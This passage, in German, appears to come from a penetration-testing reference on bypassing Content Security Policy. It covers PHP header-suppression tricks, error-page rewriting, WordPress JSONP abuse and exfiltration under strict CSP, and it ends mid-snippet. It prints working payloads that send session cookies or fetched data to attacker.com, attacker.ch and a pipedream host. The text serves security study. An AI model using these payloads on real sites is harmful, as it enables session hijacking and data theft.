Es ist interessant zu beachten, dass Browser wie Chrome und Firefox unterschiedliche Verhaltensweisen im Umgang mit iframes in Bezug auf CSP haben, was zu potenziellem Leck von sensiblen Informationen aufgrund undefinierten Verhaltens führen kann.

Eine weitere Technik besteht darin, die CSP selbst auszunutzen, um die geheime Subdomain abzuleiten. Diese Methode basiert auf einem binären Suchalgorithmus und der Anpassung der CSP, um spezifische Domains einzuschließen, die absichtlich blockiert sind. Wenn die geheime Subdomain aus unbekannten Zeichen besteht, kann man iterativ verschiedene Subdomains testen, indem man die CSP-Direktive ändert, um diese Subdomains zu blockieren oder zuzulassen. Hier ist ein Snippet, das zeigt, wie die CSP eingerichtet werden könnte, um diese Methode zu erleichtern:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Durch die Überwachung, welche Anfragen von der CSP blockiert oder erlaubt werden, kann man die möglichen Zeichen im geheimen Subdomain eingrenzen und schließlich die vollständige URL aufdecken.

Beide Methoden nutzen die Nuancen der CSP-Implementierung und -Verhalten in Browsern aus und zeigen, wie scheinbar sichere Richtlinien versehentlich sensible Informationen preisgeben können.

Trick von hier.

Tritt dem HackenProof Discord Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!

Hacking Insights Engagieren Sie sich mit Inhalten, die in die Aufregung und Herausforderungen des Hackens eintauchen

Echtzeit-Hack-Nachrichten Bleiben Sie auf dem Laufenden mit der schnelllebigen Hack-Welt durch Echtzeit-Nachrichten und Einblicke

Neueste Ankündigungen Bleiben Sie informiert über die neuesten Bug-Bounties, die gestartet werden, und wichtige Plattform-Updates

Treten Sie uns bei Discord und beginnen Sie noch heute mit den besten Hackern zusammenzuarbeiten!

Unsichere Technologien zum Umgehen von CSP

PHP-Fehler bei zu vielen Parametern

Laut der letzten Technik, die in diesem Video kommentiert wurde, führt das Senden von zu vielen Parametern (1001 GET-Parameter, obwohl man es auch mit POST-Parametern und mehr als 20 Dateien tun kann) dazu, dass jeder definierte header() im PHP-Webcode nicht gesendet wird, aufgrund des Fehlers, den dies auslösen wird.

PHP-Antwortpufferüberlastung

PHP ist bekannt dafür, die Antwort standardmäßig auf 4096 Bytes zu puffern. Daher, wenn PHP eine Warnung anzeigt, wird die Antwort gesendet, bevor der CSP-Header gesendet wird, was dazu führt, dass der Header ignoriert wird. Die Technik besteht dann im Wesentlichen darin, den Antwortpuffer mit Warnungen zu füllen, sodass der CSP-Header nicht gesendet wird.

Idee von diesem Writeup.

Fehlerseite umschreiben

Laut diesem Writeup scheint es möglich gewesen zu sein, einen CSP-Schutz zu umgehen, indem eine Fehlerseite (möglicherweise ohne CSP) geladen und deren Inhalt umgeschrieben wurde.

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOME ist eine Technik, die ein XSS (oder stark eingeschränktes XSS) in einem Endpunkt einer Seite ausnutzt, um andere Endpunkte derselben Herkunft zu missbrauchen. Dies geschieht, indem der anfällige Endpunkt von einer Angreiferseite geladen und dann die Angreiferseite auf den echten Endpunkt derselben Herkunft, den man missbrauchen möchte, aktualisiert wird. Auf diese Weise kann der anfällige Endpunkt das opener-Objekt im Payload verwenden, um auf das DOM des echten Endpunkts, den man missbrauchen möchte, zuzugreifen. Für weitere Informationen siehe:

Darüber hinaus hat wordpress einen JSONP-Endpunkt in /wp-json/wp/v2/users/1?_jsonp=data, der die Daten im Output reflektiert (mit der Einschränkung auf Buchstaben, Zahlen und Punkte).

Ein Angreifer kann diesen Endpunkt ausnutzen, um einen SOME-Angriff gegen WordPress zu generieren und ihn in <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> einzubetten. Beachte, dass dieses Script geladen wird, weil es von 'self' erlaubt ist. Darüber hinaus, und weil WordPress installiert ist, könnte ein Angreifer den SOME-Angriff über den anfälligen Callback-Endpunkt ausnutzen, der die CSP umgeht, um einem Benutzer mehr Privilegien zu geben, ein neues Plugin zu installieren... Für weitere Informationen darüber, wie man diesen Angriff durchführt, siehe https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

CSP Exfiltration Bypasses

Wenn es eine strenge CSP gibt, die es dir nicht erlaubt, mit externen Servern zu interagieren, gibt es einige Dinge, die du immer tun kannst, um die Informationen zu exfiltrieren.

Location

Du könntest einfach die Location aktualisieren, um die geheimen Informationen an den Server des Angreifers zu senden:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Meta-Tag

Sie könnten umleiten, indem Sie einen Meta-Tag injizieren (dies ist nur eine Umleitung, dies wird keinen Inhalt leaken)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

Um Seiten schneller zu laden, werden Browser Hostnamen in IP-Adressen vorauflösen und sie für die spätere Verwendung zwischenspeichern. Sie können einen Browser anweisen, einen Hostnamen vorab aufzulösen mit: <link rel="dns-prefetch" href="something.com">

Sie könnten dieses Verhalten missbrauchen, um sensible Informationen über DNS-Anfragen zu exfiltrieren:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

Eine andere Möglichkeit:

const linkEl = document.createElement('link');